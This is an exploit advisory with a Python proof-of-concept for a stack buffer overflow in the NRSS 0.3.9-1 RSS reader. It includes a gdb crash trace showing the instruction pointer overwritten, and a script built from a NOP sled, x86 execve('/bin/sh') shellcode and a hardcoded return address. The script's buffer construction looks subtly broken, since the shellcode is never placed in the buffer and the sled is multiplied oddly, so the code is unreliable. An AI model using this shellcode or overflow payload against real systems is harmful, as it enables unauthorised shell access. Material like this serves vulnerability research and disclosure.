NRSS News Reader 0.3.9-1 Stack Buffer Overflow

2016.05.15
Credit: Juan Sacco
Risk: High
Local: No
Remote: No
CVE: N/A
CWE: CWE-119

# Exploit developed using Exploit Pack v5.4 # Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com # Program affected: NRSS RSS Reader # Version: 0.3.9-1 # # Tested and developed under: Kali Linux 2.0 x86 - https://www.kali.org # Program description: NRSS is a console based RSS reader allowing # uses to read and manage RSS feeds # Kali Linux 2.0 package: pool/main/n/nrss/nrss_0.3.9-1_i386.deb # MD5sum: 27d997c89340ebb6f4a1d9e1eb28ea39 # Website: http://www.codezen.org/nrss/ # # gdb$ run -F $(python -c 'print "A"*256+"DCBA"') # Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"') # # Program received signal SIGSEGV, Segmentation fault. # --------------------------------------------------------------------------[regs] # EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C o d I t S z a p c # ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60 EIP: 0x41424344 # CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop: # Cannot access memory at address 0x41424344 # 0x41424344 in ?? () ''' import os, subprocess def run(): try: print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco" print "# This Exploit has been developed using Exploit Pack" # NOPSLED + SHELLCODE + EIP buffersize = 256 nopsled = "\x90"*200 shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" eip = "\xd0\xec\xff\xbf" buffer = nopsled * (buffersize-len(shellcode)) + eip subprocess.call(["nrss -F",' ', buffer]) except OSError as e: if e.errno == os.errno.ENOENT: print "Sorry, NRSS Reader - Not found!" else: print "Error executing exploit" raise def howtousage(): print "Snap! Something went wrong" sys.exit(-1) if __name__ == '__main__': try: print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit" print "Author: Juan Sacco - Exploit Pack" except IndexError: howtousage() run()


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